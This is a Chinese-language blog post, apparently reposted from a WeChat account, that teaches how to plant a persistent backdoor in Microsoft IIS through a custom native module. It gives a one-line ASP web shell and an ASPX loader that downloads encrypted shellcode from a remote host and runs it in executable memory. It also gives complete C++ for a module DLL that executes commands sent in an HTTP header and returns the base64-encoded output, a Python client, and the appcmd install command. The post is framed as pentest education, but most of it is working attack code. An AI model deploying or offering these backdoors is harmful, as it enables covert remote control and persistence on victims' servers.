在项目中,我们经常遇到 Internet Information Services (IIS) 的实例。这是一个非常方便的工具,用作应用程序服务器。但是,您是否知道,简单的 IIS 部署可能允许攻击者在目标环境中留下后门?
在本文中,我将展示使用合法的 Microsoft 产品(即 Internet Information Services)在目标系统上进行持久性的方法。我们将练习 C++ 编程,学习 IIS 组件,并通过 IIS 模块留下后门。
让我们立即同意:我告诉你这一切并不是为了让你去入侵别人的系统,而是为了让你知道黑客可以在哪里留下后门。
预先警告是预先准备的!
在 Active Directory 渗透测试期间,我们的团队经常遇到标准的 IIS 启动画面。在一个项目中,几乎每台计算机都有这个应用程序。那天晚上,我问自己:“如果您连接到目标系统并通过 IIS 设置持久性,该怎么办?
幸运的是,Windows 为开发人员提供了行动的自由:想要扩展任何大型企业的功能?我们的目标是取悦您,这里有一堆专为您准备的 API!
在创建我们的 Frankenstein 怪物之前,让我们记住 IIS 上已知的持久性方法。
赌场、二十一点和贝壳
长期以来,最常见的持久化方式(在特殊情况下,获得初始访问权限)是 Web Shell。然而,由于它们简单、重量轻且广受欢迎,有很多方法可以检测它们在 Web 服务器上的外观。
此外,如果我们不向 Web Shell 添加最低限度的访问控制,那么任何人都可以使用它。没那么酷,对吧?
最后,让我们开始编码。让我们以一个标准的 Web shell .aspx为例。让我们将其上传到 C:inetpubwwwroot,通过 icacls 设置权限,然后启动。
我知道对渗透测试者的要求很高,但没有人要求了解 Elvish。
当然,还有稍微简洁一些的选择。
<%response.write CreateObject("WScript.Shell").Exec(Request.QueryString("cmd")).StdOut.Readall()%>
就像那些稍微笨重的一样。例如,一个 ASPX shellcode 运行程序,从远程服务器加载有效负载并随后进行 AES 解密。
你觉得这个怎么样,埃隆·马斯克?
<%@ Page Language="C#" AutoEventWireup="true" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<%@ Import Namespace="System.Net" %>
<%@ Import Namespace="System.Linq" %>
<script runat="server">
[System.Runtime.InteropServices.DllImport("kernel32")]
private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr,UIntPtr size,Int32 flAllocationType,IntPtr flProtect);
[System.Runtime.InteropServices.DllImport("kernel32")]
private static extern IntPtr CreateThread(IntPtr lpThreadAttributes,UIntPtr dwStackSize,IntPtr lpStartAddress,IntPtr param,Int32 dwCreationFlags,ref IntPtr lpThreadId);
[System.Runtime.InteropServices.DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
private static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);
[ System.Runtime.InteropServices.DllImport("kernel32.dll")]
private static extern IntPtr GetCurrentProcess();
private byte[] Decrypt(byte[] data, byte[] key, byte[] iv)
{
using (var aes = Aes.Create())
{
aes.KeySize = 256;
aes.BlockSize = 128;
// Keep this in mind when you view your decrypted content as the size will likely be different.
aes.Padding = PaddingMode.Zeros;
aes.Key = key;
aes.IV = iv;
using (var decryptor = aes.CreateDecryptor(aes.Key, aes.IV))
{
return PerformCryptography(data, decryptor);
}
}
}
private byte[] PerformCryptography(byte[] data, ICryptoTransform cryptoTransform)
{
using (var ms = new MemoryStream())
using (var cryptoStream = new CryptoStream(ms, cryptoTransform, CryptoStreamMode.Write))
{
cryptoStream.Write(data, 0, data.Length);
cryptoStream.FlushFinalBlock();
return ms.ToArray();
}
}
private byte[] GetArray(string url)
{
using (WebClient webClient = new WebClient())
{
string content = webClient.DownloadString(url);
byte[] byteArray = content.Split(',')
.Select(hexValue => Convert.ToByte(hexValue.Trim(), 16))
.ToArray();
return byteArray;
}
}
private static Int32 MEM_COMMIT=0x1000;
private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40;
protected void Page_Load(object sender, EventArgs e)
{
IntPtr mem = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);
if(mem == null)
{
return;
}
// Encrypted shellcode
byte[] Enc = GetArray("http://192.168.x.x/enc.txt");
// Key
byte[] Key = GetArray("http://192.168.x.x/key.txt");
// IV
byte[] Iv = GetArray("http://192.168.x.x/iv.txt");
// Decrypt our shellcode
byte[] e4qRS= Decrypt(Enc, Key, Iv);
// Allocate our memory buffer
IntPtr zG5fzCKEhae = VirtualAlloc(IntPtr.Zero,(UIntPtr)e4qRS.Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// Copy our decrypted shellcode ito the buffer
System.Runtime.InteropServices.Marshal.Copy(e4qRS,0,zG5fzCKEhae,e4qRS.Length);
// Create a thread that contains our buffer
IntPtr aj5QpPE = IntPtr.Zero;
IntPtr oiAJp5aJjiZV = CreateThread(IntPtr.Zero,UIntPtr.Zero,zG5fzCKEhae,IntPtr.Zero,0,ref aj5QpPE);
}
</script>
<!DOCTYPE html>
<html>
<body>
<p>Check your listener...</p>
</body>
</html>
甚至还有 Web Shell 生成器。最重要的是,还为鉴赏家添加了 web.config 覆盖的奖励。看起来,拿着它,不要想它!
没那么快!我们想要这样的东西:新的、不寻常的和隐秘的,以至于不是每个安全实习生都能把你从被入侵的主机中赶走。
“而这样的解决方案被找到了。
IIS 组件
正如我已经说过的,Microsoft 允许扩展其产品的嵌入式功能。在版本 7.0 之前,IIS 具有 ISAPI 扩展和 ISAPI 筛选器。这些功能仍然可用,但已分别被 IIS 处理程序和 IIS 模块取代。
IIS 处理程序允许在 IIS 上处理收到的请求,并为不同的内容类型创建响应。例如,ASP.NET 中有一个处理程序,允许处理 ASPX 页面(包括我们的 Web shell)。
IIS 模块也参与处理。IIS 授予它对所有传入和传出 HTTP 请求的完全和不受限制的访问权限。我想这就是我们的候选人。模块本身可以分为两种类型:Managed 和 Native。Managed 是用 C# 编写的,Native 是用 C++ 编写的。已安装模块的列表可以通过标准的 IIS 服务控制管理器查看。
持久性过程本身类似于 Web shell:如果使用特定参数调用某个端点,则命令将在系统上执行。
一般概念
我了解 Windows 功能的扩展方式。一切都基于使用所需的方法编写自己的 DLL 库。创建后,剩下的就是在 IIS 中注册库并使用它来处理服务器上出现的特定事件,例如,接收新的 HTTP 请求。
为了让我们向 IIS 注册我们的库,它必须使用以下原型导出 RegisterModule() 函数:
HRESULT __stdcall RegisterModule(
DWORD dwServerVersion,
IHttpModuleRegistrationInfo* pModuleInfo,
IHttpServer* pHttpServer
)
dwServerVersion 指定注册库的服务器的版本。IHttpModuleRegistratioInfo 就是所谓的接口。我要指出的是,OOP 中的接口可以被视为类实现某些方法的某种义务。可以在这里找到一个很好的分析。
因此,通过访问 pModuleInfo 变量(它将识别我们在 IIS 中的模块),我们可以使用 GetName() 检索当前模块的名称,通过 GetId() 获取其 ID,但最有趣的事情(我们实际需要的)是通过 SetRequestNotifications() 订阅某些事件的处理。
也可以设置优先级,但我们对此不是特别感兴趣。但是,如果您打算编写一个高负载的 Web Shell...
好了,让我们回到 SetRequestNotifications() 上来。
virtual HRESULT SetRequestNotifications(
IN IHttpModuleFactory* pModuleFactory,
IN DWORD dwRequestNotifications,
IN DWORD dwPostRequestNotifications
) = 0;
这就是所谓的纯虚功能。它的 logic 应该在某个类中实现。在我们的例子中,我们可以通过访问 pModuleInfo 来调用此函数。该函数本身接受以下参数:
- pModuleFactory 是将实现 IHttpModuleFactory 接口的类的实例。也就是说,我们只需要创建一个类,指定它是从接口继承的,并在该类中实现 GetHttpModule 和 Terminate 方法
- dwRequestNotifications 是一个位掩码,用于标识 IIS 模块订阅的所有事件。我们对RQ_SEND_RESPONSE和RQ_BEGIN_REQUEST感兴趣。可在此处找到可能事件的完整列表
- dwPostRequestNotifications 是标识所有所谓的事件后事件的位掩码。此掩码可用于处理 IIS 上已经发生的事情。我们对这个值不是特别感兴趣,所以我们把它设置为 0
如果初始化成功,RegisterModule() 函数将返回 S_OK。
一个合乎逻辑的问题出现了:“我们应该在哪里处理事件?在回答这个问题之前,我们需要了解所有的类和工厂。
IIS 编程中的类和工厂
在 SetRequestNotification() 函数中,我们将提交一个类的实例,该类将实现 IHttpModuleFactory 接口作为第一个参数。我们类的名称可以是任何东西,主要是它有两个方法的实现:GetHttpModule() 和 Terminate()。
例如,让我们按名称 CHttpModuleFactory 调用该类。
class CHttpModuleFactory : public IHttpModuleFactory
{
public:
HRESULT GetHttpModule( OUT CHttpModule** ppModule, IN IModuleAllocator* pAllocator)
{
... logic code ...
}
void Terminate()
{
delete this;
}
};
每次 IIS 收到请求时,都会调用 GetHttpModule() 方法,该请求已注册其处理。Terminate() 将在请求处理结束时调用。
在 GetHttpModule() 中,我们的类应创建 CHttpModule 类的实例,并将地址返回给 ppModule 变量。CHttpModule 类提供在 IIS 上处理请求的功能;其定义在标准 httpserv.h 头文件中列出。
如果我们看一下 OutputDebugString() 函数,就会明白仅仅创建一个类的实例是不够的,因为我们必须提供处理特定事件的方法的实现。我们可以用子类覆盖现有方法的代码,我们称之为 CChildHttpModule。
在类本身中,现在,我们只编写要覆盖的方法的原型。但是,在我看来,将方法代码插入 .h 文件是一个非常好的做法,因为可能会发生一些 LNK* 错误。
class CChildHttpModule : public CHttpModule
{
public:
REQUEST_NOTIFICATION_STATUS OnSendResponse(IN IHttpContext* pHttpContext, IN ISendResponseProvider* pProviderss);
};
我们将提供一个代码,用于在 GetHttpModule() 中创建 CChildHttpModule 类的实例。
class CHttpModuleFactory : public IHttpModuleFactory
{
public:
HRESULT GetHttpModule( OUT CHttpModule** ppModule, IN IModuleAllocator*)
{
CChildHttpModule* pModule = new CChildHttpModule();
*ppModule = pModule;
pModule = NULL;
return S_OK;
}
void Terminate()
{
delete this;
}
};
总而言之,刚才描述的操作实现了一种称为 “factory” 的设计模式(因此接口名称中带有各种 *Factory)。此模式允许创建对象 (称为工厂) 创建其他对象。然后,在调用工厂时,将创建所需的对象。
整个工作逻辑:
1. 我们在 IIS 注册模块。
2. IIS 调用 RegisterModule()。
3. 我们订阅必要的事件,通过 pModuleInfo->SetRequestNotifications() 发送对工厂实例的引用。
4. 出现请求后,IIS 将调用我们工厂的 GetHttpModule() 方法。
5. 创建 CChildHttpModule() 类的新实例。
6. 将使用此类实例调用与事件对应的所需方法。在我们的例子中,如果您注册了 RQ_SEND_RESPONSE,则将调用 OnSendResponse()。
7. 在该方法中,我们处理 Web 服务器响应。
8. 从 RQ_NOTIFICATION_CONTINUE 方法中恢复。此值指示 processing 函数成功完成。
9. IIS 调用 Terminate() 方法。
如果我们需要请求,为什么我们应该处理响应?
通过调用 OnBeginRequest() 方法处理 RQ_BEGIN_REQUEST 事件会更合乎逻辑。但是在这种情况下我们如何获得输出呢?当然,我们可以在 sockets 上编写一些代码或让盲目命令执行,但这并不方便。所以我用了 RQ_SEND_RESPONSE。此外,借助 IHttpContext 接口,我们可以通过 pHttpContext 参数访问 OnSendResponse() 方法中的请求和响应。
我们工具的操作逻辑将非常简单:我们解析收到的请求,检测攻击者在系统上执行命令的愿望,执行命令,将命令输出添加到 IIS 服务器响应中,这使我们取得了成功!
让我们开始编码
因此,我们创建一个空项目,用于在 Visual Studio 中编写动态绑定库。我们没有向 DllMain 函数添加任何内容;我们不需要它。让我们实现 RegisterModule()。
#include "pch.h"
#include <Windows.h>
#include <httpserv.h>
#include "classes.h"
CHttpModuleFactory* pFactory = NULL;
__declspec(dllexport) HRESULT __stdcall RegisterModule(
DWORD dwSrvVersion,
IHttpModuleRegistrationInfo* pModuleInfo,
IHttpServer* pHttpServer)
{
pFactory = new CHttpModuleFactory();
HRESULT hr = pModuleInfo->SetRequestNotifications(pFactory, RQ_SEND_RESPONSE, 0);
return hr;
}
在此代码中,我们声明一个从 DLL 导出的函数。接下来,我们在其中创建一个新工厂的实例,IIS 将使用该实例创建 CChildHttpModule 类的对象。
我们在 classes.h 头文件中实现了 CHttpModuleFactory 和 CChildHttpModule 类的原型。
#pragma once
#include <Windows.h>
#include <httpserv.h>
class CChildHttpModule : public CHttpModule
{
public:
REQUEST_NOTIFICATION_STATUS OnSendResponse(IN IHttpContext* pHttpContext, IN ISendResponseProvider* pProviderss);
};
class CHttpModuleFactory : public IHttpModuleFactory
{
public:
HRESULT GetHttpModule(CHttpModule** ppModule, IModuleAllocator* pModuleAlloc);
void Terminate();
};
我们在 classes.cpp 文件中编写这些类的方法的逻辑。
#include "classes.h"
REQUEST_NOTIFICATION_STATUS OnSendResponse(IN IHttpContext* pHttpContext, IN ISendResponseProvider* pProviderss)
{
...
}
HRESULT CHttpModuleFactory::GetHttpModule(CHttpModule** ppModule, IModuleAllocator* pModuleAlloc)
{
CChildHttpModule* pModule = new CChildHttpModule();
*ppModule = pModule;
pModule = NULL;
return S_OK;
}
void CHttpModuleFactory::Terminate()
{
if (this != NULL)
{
delete this;
}
}
接下来,我们需要了解我们想要执行命令的方式并查看输出。在此之后,我们决定实现 OnSendResponse() 函数的方式。
IHttp* 接口方法
对于最小的 POC,我建议发送带有 X-Cmd-Command: <command> 标头的 HTTP 数据包。由于我们的 IIS 模块已注册为处理RQ_SEND_RESPONSE,因此将在 IIS 中调用 OnSendResponse() 函数。其原型如下:
virtual REQUEST_NOTIFICATION_STATUS OnSendResponse(
IN IHttpContext* pHttpContext,
IN ISendResponseProvider* pProvider
);
这里我们对 pHttpContext 指针感兴趣。由于此实例实现了 IHttpContext 接口,因此我们可以使用此接口中定义的函数。
首先,我们需要提取 IIS 收到的请求和发送的响应。这可以使用 pHttpContext->GetRequest() 和 pHttpContext->GetResponse() 方法完成。
结果,我们获得了两个对应于接口 IHttpRequest 和 IHttpResponse 的实例。
GetHeader() 方法允许检索特定标头的值。
virtual PCSTR GetHeader(
IN PCSTR pszHeaderName,
OUT USHORT* pcchHeaderValue = NULL
) const = 0;
剩下的工作就是提取该值,将其发送到 cmd.exe /c <command>,然后将执行结果添加到 Web 应用程序响应中。前两个步骤、GetHeader()、CreateProcess() 以及输出重定向到管道,一切都很明显,但是我们应该如何添加执行命令的结果呢?
为此,我们使用 SetHeader() 方法。
virtual HRESULT SetHeader(
IN PCSTR pszHeaderName,
IN PCSTR pszHeaderValue,
IN USHORT cchHeaderValue,
IN BOOL fReplace
) = 0;
请注意,此方法也存在于 IHttpRequest 中,但我们相对于 IHttpResponse 实例来调用它(毕竟,我们希望在响应中包含命令执行结果,对吧?:) )。
命令执行结果以 Base64 格式插入。
如何调试 IIS 组件
我已经在本文前面提到了出色的 OutputDebugString() 函数。我还将在 OnSendResponse() 函数中使用它。对于本机 IIS 模块,这是在开发过程中调试和发现错误的唯一或多或少的高级方法(据我所知)。OutputDebugString() 执行以下操作:
- 如果当前进程正在调试,则文本将直接发送到调试器
- 否则,它将调用标准 OpenEvent() 函数并尝试打开两个命名事件的句柄。一个名为 DBWIN_BUFFER_READY,另一个名为 DBWIN_DATA_READY。如果未找到其中一个或两个,则只需清除传递给函数的字符串
- 如果存在事件,则通过使用 DBWIN_BUFFER 名称调用 OpenFileMapping() 将字符串放入内存中。如果未找到此映射,则只需清除文本
- 最后,如果所有三个对象都存在,则 OutputDebugString() 调用 MapViewOfFile() 来创建映射,并且字符串将显示在内存中。它可以从那里读取
我们也可以使用 DebugView。
下面是两个程序的示例,其中一个程序接收使用 OutputDebugString() 函数发送到另一个程序的字符串:
#include <Windows.h>
#include <stdio.h>
#include <atltime.h>
int main() {
HANDLE hBufferReady = ::CreateEvent(nullptr, FALSE, FALSE,
L"DBWIN_BUFFER_READY");
HANDLE hDataReady = ::CreateEvent(nullptr, FALSE, FALSE,
L"DBWIN_DATA_READY");
DWORD size = 1 << 12;
HANDLE hMemFile = ::CreateFileMapping(INVALID_HANDLE_VALUE, nullptr,
PAGE_READWRITE, 0, size, L"DBWIN_BUFFER");
auto buffer = (BYTE*)::MapViewOfFile(hMemFile, FILE_MAP_READ,
0, 0, 0);
while (WAIT_OBJECT_0 == ::SignalObjectAndWait(hBufferReady, hDataReady,
INFINITE, FALSE)) {
SYSTEMTIME local;
::GetLocalTime(&local);
DWORD pid = *(DWORD*)buffer;
printf("%ws.%03d %6d: %sn",
(PCWSTR)CTime(local).Format(L"%X"),
local.wMilliseconds, pid,
(const char*)(buffer + sizeof(DWORD)));
}
getchar();
return 0;
}
这是发送字符串的程序:
#include <windows.h>
int main()
{
LPCWSTR str = (LPCWSTR)L"Hi!!!";
OutputDebugString(str);
return 0;
}
以下是使用 DebugView 的调试过程:
编写最终 POC
因此,我们所要做的就是正确描述 OnSendResponse() 方法中的所有内容,并获得一个正常运行的后门。让我们从编码函数开始。我们将使用 base64,所以这里的一切都很简单。由于 SetHeader() 函数接受 LPCSTR,因此我们的 EncodeBase64() 函数将返回 LPCSTR。编码数据将位于 BYTE 缓冲区中,因此第一个参数将是缓冲区地址,第二个参数是其大小。
const char base64_chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
LPCSTR EncodeBase64(BYTE* buffer, size_t in_len)
{
std::string out;
int val = 0, valb = -6;
for (size_t i = 0; i < in_len; ++i) {
unsigned char c = buffer[i];
val = (val << 8) + c;
valb += 8;
while (valb >= 0) {
out.push_back(base64_chars[(val >> valb) & 0x3F]);
valb -= 6;
}
}
if (valb > -6) out.push_back(base64_chars[((val << 8) >> (valb + 8)) & 0x3F]);
while (out.size() % 4) out.push_back('=');
char* encodedString = new char[out.length() + 1];
std::memcpy(encodedString, out.data(), out.length());
encodedString[out.length()] = '�';
return encodedString;
}
我认为描述算法的工作原理没有意义,因为这是标准的 Base64。
让我们继续讨论最有趣的部分 — OnSendResponse() 处理。首先,我将提供该函数的完整代码,然后我们将逐步完成它。
REQUEST_NOTIFICATION_STATUS CChildHttpModule::OnSendResponse(IN IHttpContext* pHttpContext, IN ISendResponseProvider* pProviderss)
{
OutputDebugString(L"OnSendResponse IN");
IHttpRequest* pHttpRequest = pHttpContext->GetRequest();
IHttpResponse* pHttpResponse = pHttpContext->GetResponse();
USHORT uComLen = 0;
LPCSTR lpCommand = pHttpRequest->GetHeader(HEADER, &uComLen);
if (lpCommand == NULL || uComLen == 0) {
OutputDebugString(L"lpCommand == NULL || uComLen == 0");
return RQ_NOTIFICATION_CONTINUE;
}
OutputDebugString(L"Command isn't null");
lpCommand = (LPCSTR)pHttpContext->AllocateRequestMemory(uComLen + 1);
lpCommand = (LPCSTR)pHttpRequest->GetHeader(HEADER, &uComLen);
std::vector<BYTE> output;
if (ExecuteCommand(lpCommand, output) != 0)
{
OutputDebugString(L"ExecuteCommand Failed");
return RQ_NOTIFICATION_CONTINUE;
}
OutputDebugString(L"ExecuteCommand success");
if (output.empty())
{
OutputDebugString(L"Buffer Is empty!");
return RQ_NOTIFICATION_CONTINUE;
}
OutputDebugString(L"Buffer is not empty");
LPCSTR b64Data = EncodeBase64(output.data(), output.size());
if (b64Data == NULL)
{
OutputDebugString(L"Base64 Data Is Null!");
return RQ_NOTIFICATION_CONTINUE;
}
pHttpResponse->SetHeader(HEADER, b64Data, strlen(b64Data), false);
output.clear();
delete[] b64Data;
OutputDebugString(L"OnSendResponse OUT");
return RQ_NOTIFICATION_CONTINUE;
}
首先,正如承诺的那样,OutputDebugString() 集。这允许通过 DebugView 监视 IIS 模块状态。
其次,我们从 pHttpContext 检索响应和请求实例。
IHttpRequest* pHttpRequest = pHttpContext->GetRequest();
IHttpResponse* pHttpResponse = pHttpContext->GetResponse();
然后,通过读取 X-Cmd-Command 头文件,我们得到要执行的命令的值。
LPCSTR lpCommand = pHttpRequest->GetHeader(HEADER, &uComLen);
if (lpCommand == NULL || uComLen == 0) {
OutputDebugString(L"lpCommand == NULL || uComLen == 0");
return RQ_NOTIFICATION_CONTINUE;
}
OutputDebugString(L"Command isn't null");
lpCommand = (LPCSTR)pHttpContext->AllocateRequestMemory(uComLen + 1);
lpCommand = (LPCSTR)pHttpRequest->GetHeader(HEADER, &uComLen);
请注意,我将标头放在 HEADER 变量中。它在 defs.h 文件中定义。这允许快速更改使用的标头,而不会出现任何问题。
我们后门的主要功能是执行任意命令。因此,我创建了一个数据类型为 BYTE 的向量。此变量将包含命令执行结果。
std::vector<BYTE> output;
if (ExecuteCommand(lpCommand, output) != 0)
{
OutputDebugString(L"ExecuteCommand Failed");
return RQ_NOTIFICATION_CONTINUE;
}
OutputDebugString(L"ExecuteCommand success");
if (output.empty())
{
OutputDebugString(L"Buffer Is empty!");
return RQ_NOTIFICATION_CONTINUE;
}
OutputDebugString(L"Buffer is not empty");
ExecuteCommand() 如下所示。
DWORD ExecuteCommand(LPCSTR command, std::vector<BYTE>& outputBuffer) {
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES), NULL, TRUE };
HANDLE hReadPipe, hWritePipe;
BOOL success = FALSE;
if (!CreatePipe(&hReadPipe, &hWritePipe, &sa, 0)) {
OutputDebugString(L"CreatePipe failed");
return -1;
}
ZeroMemory(&si, sizeof(STARTUPINFOA));
si.cb = sizeof(STARTUPINFOA);
si.dwFlags |= STARTF_USESTDHANDLES;
si.hStdOutput = hWritePipe;
si.hStdError = hWritePipe;
char cmdCommand[MAX_PATH];
snprintf(cmdCommand, MAX_PATH, "C:\Windows\System32\cmd.exe /c %s", command);
if (!CreateProcessA(
NULL,
cmdCommand,
NULL,
NULL,
TRUE,
CREATE_NO_WINDOW,
NULL,
NULL,
&si,
&pi)) {
OutputDebugString(L"CreateProcessA failed");
CloseHandle(hReadPipe);
CloseHandle(hWritePipe);
return -1;
}
OutputDebugString(L"CreateProcessA Success");
CloseHandle(hWritePipe);
outputBuffer.clear();
const DWORD tempBufferSize = 4096;
std::vector<BYTE> tempBuffer(tempBufferSize);
DWORD bytesRead;
while (true) {
if (!ReadFile(hReadPipe, tempBuffer.data(), tempBufferSize, &bytesRead, NULL) || bytesRead == 0)
break;
outputBuffer.insert(outputBuffer.end(), tempBuffer.begin(), tempBuffer.begin() + bytesRead);
}
CloseHandle(hWritePipe);
CloseHandle(hReadPipe);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return 0;
对于优秀的信息安全专家来说,此功能似乎非常简单。首先,我们创建一个 pipe 来接收命令结果。下一步是生成可执行命令 (cmd.exe /c <command>),然后执行该命令。执行结果将落入管道中,我们从管道中读取数据并将其放置在我们的 vector 中。
阅读过程也非常简单。一旦函数开始以错误终止或不再读取数据,则意味着读取结束:)
读取向量中的所有数据后,我们将其编码为 Base64,并通过 SetHeader() 方法将其插入到 Web 服务器响应中。
LPCSTR b64Data = EncodeBase64(output.data(), output.size());
if (b64Data == NULL)
{
OutputDebugString(L"Base64 Data Is Null!");
return RQ_NOTIFICATION_CONTINUE;
}
OutputDebugStringA(b64Data);
pHttpResponse->SetHeader(HEADER, b64Data, strlen(b64Data), false);
output.clear();
delete[] b64Data;
OutputDebugString(L"OnSendResponse OUT");
return RQ_NOTIFICATION_CONTINUE;
命令执行
这是我们的关键时刻!我们实现命令的执行。为了向受感染的 IIS 发送请求,让我们编写一个简单的 Python 脚本。
import requests
import argparse
import base64
parser = argparse.ArgumentParser(description='Send a custom command to a server and print the response.')
parser.add_argument('--host', type=str, required=True, help='HTTP URL of the host to connect to')
parser.add_argument('--cmd', type=str, required=True, help='Command to send in the X-Cmd-Command header')
parser.add_argument('--header', type=str, default='X-Cmd-Command', help='Header to receive the response in, defaults to X-Cmd-Command')
args = parser.parse_args()
url = args.host
headers = {
args.header: args.cmd
}
response = requests.get(url, headers=headers)
if response.status_code == 200:
response_value = response.headers.get(args.header)
if response_value:
decoded_value = base64.b64decode(response_value.encode()).decode()
print(f"Header value {args.header} in response: {decoded_value}")
else:
print(f"Header {args.header} doesn't exists")
else:
print(f"Error: {response.status_code}")
该脚本采用两个必需参数和一个可选参数:
- — host — IIS 所在主机的 URL
- — cmd — 执行命令
- — header — 我们通过其发出命令并接收输出的标头的名称。我们使用 X-Cmd-Command,但如果你使用不同的头文件重新编译项目,请不要忘记设置新值
在您看到令人垂涎的结果之前,请不要忘记在 IIS 注册我们的模块。我们可以通过一个简单的命令来完成:
C:Windowssystem32inetsrvappcmd.exe install module /name:"Backdoor" /image:C:WindowsSystem32inetsrvBackdoor.dll /add:true
当然,我们可以通过图形界面安装它,但这在某种程度上不像黑客。
如果注册成功,我们将在 DebugView 中看到 RegisterModule 行。
如果我们只是转到 IIS 并刷新页面,则不会发生任何可疑情况。我们只能看到未收到命令的消息是如何成功记录的。
我们运行 Python 脚本并看到成功的命令执行!
好!
结论
在进行渗透测试时,完全标准和合法的机制有时非常有用。此项目可以添加更多功能。例如,不仅对 output 进行编码,而且对 input 进行编码,那就太好了。因此,在 X-Cmd-Command 标头中给出了 Base64 中的命令。幸运的是,我们学会了如何获取 header 值。从 Base64 添加解码功能完全取决于您。所有需要的数据都已在 base64.cpp 中。:)
EvilIIS
原文始发于微信公众号(安全狗的自我修养):从 HTTP 到 RCE-如何在 IIS 中保留后门
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论